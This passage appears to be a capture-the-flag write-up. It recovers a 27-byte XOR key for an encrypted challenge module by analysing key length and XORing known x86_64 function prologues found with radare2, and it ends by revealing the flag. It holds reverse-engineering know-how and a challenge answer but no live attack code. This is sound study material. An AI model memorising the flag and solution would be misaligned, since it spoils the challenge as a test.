go(b"\x16\x1b\xf2\x86\x3a\xfa\x9c\x64\x78\xd6\x1c\x96\x7c\xe7\x3c\x8b\x79\xfa\x98\xd8\x43\x5f\x63\x30\xed\xf4\x95\x43\x53\x7b\x63\x27\x31\xf9\x91\x78\xdc\x8d\x7e\xbd\x11\x85\xf8\x74\x8f\x17\xa8\x26\xd6\xa4\x78\xa3\xf3\x41\x43\x53\x7b\x6c\x77\xf2\x35\x88\xb9\x98\x89\xb4\xcb\x93\x86\x26\x79\xfa\xba\x78\xed\xb3\x43\x78\xed\x4e\x95\x84\x16\x87\x63\x72\x79\x70\x3c\xbb\x1a\x89\x26\xbd\x29\x89\x98\x38\xf0\x1a\xcc\x6f\x17\xe0\x75\x94\x32\x35\xc8\x16\x8b\x6c\xc4\x79\xf4\xb4\x45\xb3\xea\x3b\xc8\x24\xf2\x36\xd9\x3b\xd6\xf6\xd1\x5e\x63\x30\x64\xdb\x7f\x43\x53\x7b\xaa\xb1\x2c\x38\xfd\xd5\xd6\x1c\x82\x7c\xe5\x0c\x93\xb8\x26\xb7\xbb\x2b\xb3\x2b\xa8\x2c\xba\xba\x0b\xd8\x3e\x83\x3a\xf0\xb6\xff\x75\xb7\x29\xf6\x7c\xe5\xbb\x3b\xf6\xb3\x5e\x30\x6e\x5f\x6c\x35\xed\xf3\xf4\x06\xaf\xf0\x26\x8e\x24\xb3\xc4")
1 0.74% #### 2 0.77% #### 3 1.21% ###### 4 0.65% ### 5 0.71% #### 6 1.24% ###### 7 0.45% ## 8 0.60% ### 9 2.09% ########## 10 0.54% ### 11 0.48% ## 12 0.99% ##### 13 1.00% ##### 14 0.62% ### 15 0.92% ##### 16 0.54% ### 17 0.29% # 18 2.04% ########## 19 0.54% ### 20 0.69% ### 21 0.72% #### 22 0.89% #### 23 1.07% ##### 24 0.70% #### 25 1.03% ##### 26 1.08% ##### 27 5.62% ############################ 28 0.67% ### 29 0.52% ### 30 0.54% ### 31 0.75% #### 32 0.20% # 33 0.61% ### 34 0.21% # 35 0.43% ## 36 1.57% ######## 37 0.47% ## 38 0.24% # 39 2.25% ########### 40 0.77% #### 41 0.53% ### 42 1.09% ##### 43 0.28% # 44 0.57% ### 45 1.78% ######### 46 0.61% ### 47 0.31% ## 48 0.65% ### 49 0.34% ##
This seemed pretty likely that the key length was 27. I then used a couple of different methods to reconstruct the key. Firstly was just observing the memory and reconstructing based on some of the cleartext ascii and the known key length.
The cleartext ascii was the result of XORing the key with 0x00. From this I could determine the key probably looked something like: CS{crypt...........0n_c0d3}
. I could probablt infer a couple of additional characters CS{crypt0_........_0n_c0d3}
.
As a quick aside I want to say that I tried a LOT of things in this stage including:
- XORing with some other common x86_64 repeated bytes
- XORing the memory with
0xFF
as that byte also tends to repeat in x86. (If I was a bit more observant this would have given me more of the key but I missed it….) - Brute forcing all 8 letter words with 1337speak rules applied (which seems to have narrowly missed hitting the solution)
I then took a bit of an unorthodox approach. I can confim that the function prologue XORed with the first bytes @ 0x40a0
yield my key…
How different can 196 byte functions really be in x86_64?
It's a 27 byte key and I only need the first 18 bytes to match to guess the key. So I fired up radare, loaded in the malware
module from the previous challenge, searched for all the function prologues I could find, and printed 27 bytes of hex for each
[0x0091b8e6]> /x 554889e54883ec
Searching 7 bytes in [0x28e1f30-0x28fec98]
hits: 0
Searching 7 bytes in [0x28cffe0-0x28e1f30]
hits: 0
Searching 7 bytes in [0x400000-0x26cf054]
hits: 522
0x0091b8e6 hit11_0 554889e54883ec
0x0091bcde hit11_1 554889e54883ec
0x00925ce0 hit11_2 554889e54883ec
0x00925d50 hit11_3 554889e54883ec
0x009281b0 hit11_4 554889e54883ec
0x00928210 hit11_5 554889e54883ec
0x009e3bf0 hit11_6 554889e54883ec
...
[0x0091b8e6]> p8 27 @@ hit* >hailmary.txt
I loaded these into cyberchef with the first 27 bytes of 0x40a0
as the XOR key and started looking in the output for any cleartext strings.
No luck.
As a last try I repeated the same steps with every single binary in `/usr/bin/ cat
'd into an uberfile
cat /usr/bin/* > uberfile
r2 uberfile
and I got a HIT!
person@ubuntu:~/Desktop$ ./module.wow CS{crypt0_an4lys1s_0n_c0d3}
CS{crypt0_an4lys1s_0n_c0d3}
Key: CS{crypt0_an4lys1s_0n_c0d3}